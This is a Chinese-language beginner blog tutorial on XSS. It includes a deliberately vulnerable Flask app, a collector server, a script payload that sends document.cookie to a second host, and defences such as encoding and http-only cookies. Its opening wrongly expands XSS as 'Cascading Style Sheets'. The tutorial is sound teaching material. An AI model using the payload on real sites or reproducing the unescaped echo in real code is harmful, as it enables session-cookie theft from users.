美文网首页
Web安全-XSS攻击 基本了解

Web安全-XSS攻击 基本了解

作者: dawsonenjoy | 来源:发表于2019-09-28 22:37 被阅读0次

介绍

XSS(Cascading Style Sheets, CSS)攻击,即跨站脚本攻击,是指通过将js代码(也不一定只有js代码,但基本都是)嵌入到网页当中,从而执行某些恶意脚本以达到盗取用户cookie、页面私密内容或者执行某些恶意操作等目的。

产生原因

由于浏览器会自动解析执行后端返回的代码,包括html、css、JavaScript等,因此如果将一串js代码由后端返回,那么会发生什么事?很显然这些代码将会被执行(如果没有禁用js的话),比如下面这串后端代码(为了简易模拟,本文的后端功能都由flask实现):

from flask import Flask, request, redirect
app = Flask(__name__)

@app.route('/')
def index():
    return "<script>alert(document.cookie)</script>"
    # 返回一段js代码

if __name__ == '__main__':
    app.run(debug=True, port=5000)

显而易见,当访问地址127.0.0.1:5000/时,页面会弹出cookie数据。

通过上面的代码示例,我们可以延伸出这样一种情况:当前台有一个输入框,比如留言板的留言输入,然后往这个留言板里写入js脚本代码并提交,后台如果没有对其进行校验就直接存入数据库,而当其他用户查看留言板的留言时,后台返回数据库中的留言,里面就包括这串js代码,那么用户就在查看留言板的同时,不经意间也执行了这串js代码,简单说明步骤就是:

留言板上传js代码 -> 后台将js代码存入数据库 ->用户查看留言板 -> 
后台返回查询的数据(包括js代码) -> 用户访问的前台执行js代码

再简化步骤就是:

上传js代码到后台 -> 后台返回js代码 -> 前台执行返回的js代码

这样就存在比如用户cookie会暴露之类的危险,接下来来个简单示例模拟上面的情况:

简单示例

受攻击的网站:x(本地端口:5000)
from flask import Flask, request, redirect
app = Flask(__name__)

g = None
# 全局变量

@app.route('/')
def index():
    '''这是一个表单页面'''
    html = """
    <form action="/set" method="get">
        <input type="text" name="name">
        <input type="submit">
    </form>"""
    return html

@app.route('/set')
def set():
    '''将数据存入数据库(这里用全局变量来模拟)'''
    global g
    data = request.args.get("name")
    g = data
    print("设置g的值为:{}".format(g))
    return redirect("/get")

@app.route('/get')
def get():
    '''获取数据库的数据(这里用全局变量来模拟),并返回到页面'''
    global g
    return g

if __name__ == '__main__':
    app.run(debug=True, port=5000)
接收泄露数据的网站:y(本地端口:6666)
from flask import Flask, request
app = Flask(__name__)

@app.route('/get')
def get():
    data = request.args.get("data")
    print("获取受攻击网站传来的数据:{}".format(data))
    return str({"status": 200})

if __name__ == '__main__':
    app.run(debug=True, port=6666)
模拟测试
  • 步骤一:现在来同时运行网站x和网站y,然后进入网站x的主页:127.0.0.1:5000/,然后在输入框里输入以下脚本:
<script src="https://cdn.bootcss.com/jquery/3.3.1/jquery.js"></script>
    <script>
    $.ajax('http://127.0.0.1:6666/get', {
    type: 'get',
    data: {
        data: document.cookie
    }
});
    </script>

该脚本的功能就是导入jquery框架,然后通过ajax将本地用户的cookie发送到网站y中

  • 步骤二:上传表单后,观察网站y的后台,可以发现命令行中输出了访问网站x的用户的cookie信息

XSS危害

  • 盗取用户cookie、私密数据等
  • 挂马
  • 执行恶意操作
  • ddos攻击其他网站
  • ...

XSS类型

XSS攻击的类型主要分为三种,介绍如下:

  • 反射型:即非持久型,直接使服务端返回脚本在前台执行,前面的示例如果使用的是一次性变量就是这种类型
  • 持久型:将脚本代码存在后台,比如数据库,然后再返回给前台,前面的示例模拟的就是这种类型(将全局变量假装成数据库就是了)
  • DOM型:基于DOM或者本地XSS攻击,比如本地js里的eval语句

注:
前两种往往是后端服务器的问题,第三种是前端导致的问题

XSS防御

上面的示例就是一个简单的XSS攻击场景,为了防御这种攻击,应该怎么做呢?下面列出几种常见的防御方法:

  • 对于输入的数据过滤<script>这类敏感的字符(当然不是单纯的只过滤<script>字符串,别人有各种方法能拼成脚本代码...),我们要做的就是避免js脚本的传入,比如过滤:><;...(但也要根据情况来过滤,比如别人留言板内容就是要进行大于小于的比较总不能给人禁了><吧)
  • 对于输出的数据进行编码,比如>编码成&lt;
  • 设置cookie数据为http-only,此时就无法再用js语句来获取用户cookie了

相关文章

  • Web安全-XSS攻击 基本了解

    介绍 XSS(Cascading Style Sheets, CSS)攻击,即跨站脚本攻击,是指通过将js代码(也...

  • web前端攻击技术与防范——XSS、CSRF、网络劫持、控制台注

    web攻击技术 我了解到的web安全方面的一些攻击有: XSS攻击CSRF攻击网络劫持攻击控制台注入代码钓鱼 XS...

  • xss攻击

    前端安全之XSS攻击 XSS(cross-site scripting跨域脚本攻击)攻击是最常见的Web攻击,其重...

  • XSS攻击

    什么是XSS? XSS攻击中文全称“跨站脚本攻击”。XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用...

  • XSS盗取cookie

    XSS定义 XSS是一种比较容易出现的安全漏洞,也是web比较常见的web攻击方式。XSS是指攻击者利用网络没有对...

  • WEB网站常见的受攻击方式及预防手段

    跨站脚本攻击(XSS) 跨站脚本攻击(XSS,Cross-site scripting)是最常见和基本的攻击WEB...

  • XSS 攻击防守

    最常见的攻击xss 什么是xss? 为什么是xss? 开放式Web应用程序安全项目(Open Web Applic...

  • XSS如何防范

    XSS如何防范 题意分析在 Web 安全领域中,XSS 和 CSRF 是最常见的攻击方式。下面我们首先简单了解一下...

  • 前端安全

    XSS XSS攻击全称跨站脚本攻击,XSS是一种在web应用中的计算机安全漏洞,它允许恶意web用户将代码植入到提...

  • XSS && CSRF 攻击

    XSS 攻击 XSS (Cross-Site Scripting,跨站脚本攻击)是一种常见的web安全漏洞,它允许...

网友评论

      本文标题:Web安全-XSS攻击 基本了解

      本文链接:https://www.haomeiwen.com/subject/hjfjuctx.html